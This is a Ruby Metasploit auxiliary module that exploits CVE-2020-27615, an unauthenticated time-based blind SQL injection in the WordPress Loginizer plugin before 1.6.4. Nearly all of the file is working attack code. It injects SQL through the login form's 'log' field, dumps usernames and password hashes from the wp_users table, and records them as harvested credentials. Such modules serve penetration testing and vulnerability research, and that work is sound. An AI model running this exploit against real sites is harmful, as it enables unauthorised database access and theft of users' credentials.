rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::SQLi

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress Loginizer log SQLi Scanner',
        'Description' => %q{
          Loginizer wordpress plugin contains an unauthenticated timebased SQL injection in
          versions before 1.6.4.  The vulnerable parameter is in the log parameter.
          Wordpress has forced updates of the plugin to all servers
        },
        'Author' => [
          'h00die', # msf module
          'red0xff', # sqli help
          'mslavco' # discovery
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['URL', 'https://wpdeeply.com/loginizer-before-1-6-4-sqli-injection/'],
          ['CVE', '2020-27615'],
          ['URL', 'https://loginizer.com/blog/loginizer-1-6-4-security-fix/'],
          ['URL', 'https://twitter.com/mslavco/status/1318877097184604161']
        ],
        'Actions' => [
          ['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }],
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        },
        'DefaultAction' => 'List Users',
        'DisclosureDate' => '2020-10-21'
      )
    )
    register_options [
      OptInt.new('COUNT', [false, 'Number of users to enumerate', 1])
    ]
  end

  def run_host(ip)
    unless wordpress_and_online?
      vprint_error('Server not online or not detected as wordpress')
      return
    end

    wp_ver = wordpress_version
    if wp_ver.nil?
      vprint_error('Unable to determine wordpress version, check settings.')
      return
    end

    if Rex::Version.new(wp_ver) < Rex::Version.new('5.4')
      vprint_error("Wordpress (core) #{wp_ver} is unexploitable.  Version 5.4+ required.")
      return
    end

    checkcode = check_plugin_version_from_readme('loginizer', '1.6.4')
    if checkcode == Msf::Exploit::CheckCode::Safe
      vprint_error('Loginizer version not vulnerable')
      return
    else
      print_good('Vulnerable version of Loginizer detected')
    end

    cookie = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'wp-login.php')
    })
    if cookie.nil?
      print_error('Unable to retrieve wordpress cookie, check settings.')
      return
    end
    cookie = cookie.get_cookies
    password = Rex::Text.rand_text_alpha(10)

    @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|
      if payload.include?('<')
        payload.gsub!(/<>/, '=')
        payload.gsub!(/(sleep\(\d+\.?\d*\)),0/) { "0,#{Regexp.last_match(1)}" }
      end
      res = send_request_cgi({
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
        'cookie' => cookie,
        'vars_post' => {
          'log' => "',ip=LEFT(UUID(),8),url=#{payload}#",
          'pwd' => password,
          'wp-submit' => 'Login',
          'redirect_to' => '',
          'testcookie' => '1'
        }
      })
      fail_with Failure::Unreachable, 'Connection failed' unless res
    end
    unless @sqli.test_vulnerable
      print_bad("#{peer} - Testing of SQLi failed.  If this is time based, try increasing SqliDelay.")
      return
    end

    columns = ['user_login', 'user_pass']
    results = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])
    table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
    results.each do |user|
      create_credential({
        workspace_id: myworkspace_id,
        origin_type: :service,
        module_fullname: fullname,
        username: user[0],
        private_type: :nonreplayable_hash,
        jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
        private_data: user[1],
        service_name: 'Wordpress',
        address: ip,
        port: datastore['RPORT'],
        protocol: 'tcp',
        status: Metasploit::Model::Login::Status::UNTRIED
      })
      table << user
    end
    print_good(table.to_s)
  end
end